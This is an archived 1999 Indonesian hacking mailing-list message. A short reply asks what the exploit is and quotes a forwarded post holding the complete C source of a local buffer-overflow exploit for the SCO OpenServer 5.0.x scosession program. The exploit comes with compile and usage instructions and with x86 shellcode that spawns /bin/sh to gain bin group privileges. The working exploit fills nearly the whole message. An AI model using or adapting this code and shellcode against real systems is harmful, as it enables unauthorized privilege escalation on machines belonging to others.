ini exploit apa ya ?
----- Original Message ----- 
From: Irwan Hadi <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, October 11, 1999 10:14 PM
Subject: [ Hackerlink ] HACK S.C.O 5.0


> The exploit code that enables to test for this vulnerability follows:
> 
> --- scosessionx.c ---
> 
> /* SCO 5.0.x
>  * scosession local bin exploit (sgid bin)
>  * Will set egid=2(bin)
>  *
>  * gcc -o scosessionx scosessionx.c
>  *
>  * ./scosessionx <offset> <bufsiz>
>  *
>  * Brock Tellier [EMAIL PROTECTED]
>  */
> 
> 
> #include <stdlib.h>
> #include <stdio.h>
> 
> char scoshell[]= /* [EMAIL PROTECTED] */
> "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
> "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
> "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
> 
> 
> #define LEN 10000
> #define NOP 0x90
> 
> unsigned long get_sp(void) {
> 
> __asm__("movl %esp, %eax");
> 
> }
> 
> 
> int main(int argc, char *argv[]) {
> 
> long int offset=0;
> 
> int i;
> int buflen = LEN;
> long int addr;
> char buf[LEN];
> 
> if(argc > 3) {
>  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
>  exit(0);
> }
> else if (argc == 3) {
>  offset=atoi(argv[1]);
>         buflen=atoi(argv[2]);
> }
>  else {
>    offset=9000;
>    buflen=2000;
> 
> 
>  }
> 
> 
> addr=get_sp();
> 
> fprintf(stderr, "scosession local exploit for SCO OpenServer 5.0.x\n");
> fprintf(stderr, "By Brock Tellier [EMAIL PROTECTED]\n\n");
> fprintf(stderr, "Using addr: 0x%x\n", addr-offset);
> 
> 
> memset(buf,NOP,buflen);
> memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
> for(i=((buflen/2) + strlen(scoshell))+4;i<buflen-4;i+=4)
>  *(int *)&buf[i]=addr+offset;
> 
> execl("/usr/bin/X11/scosession", "scosession", "-bg", buf, NULL);
> 
> }
> 
> 
> 
> -------
> AFLHI 058009990407128029/089802 
> 
> 
>     milis ini didukung oleh :
>  >> http://www.indolinux.com - dunia linux indonesia
>  -------------------------------------------------------------------
>  untuk berhenti kirim  email  ke  [EMAIL PROTECTED]
>  untuk melihat peraturan kirim email  ke  [EMAIL PROTECTED]
>  arsip berada di  http://www.mail-archive.com/[email protected]
>  
> 
> 



    milis ini didukung oleh :
 >> http://www.indolinux.com - dunia linux indonesia
 -------------------------------------------------------------------
 untuk berhenti kirim  email  ke  [EMAIL PROTECTED]
 untuk melihat peraturan kirim email  ke  [EMAIL PROTECTED]
 arsip berada di  http://www.mail-archive.com/[email protected]
 

Kirim email ke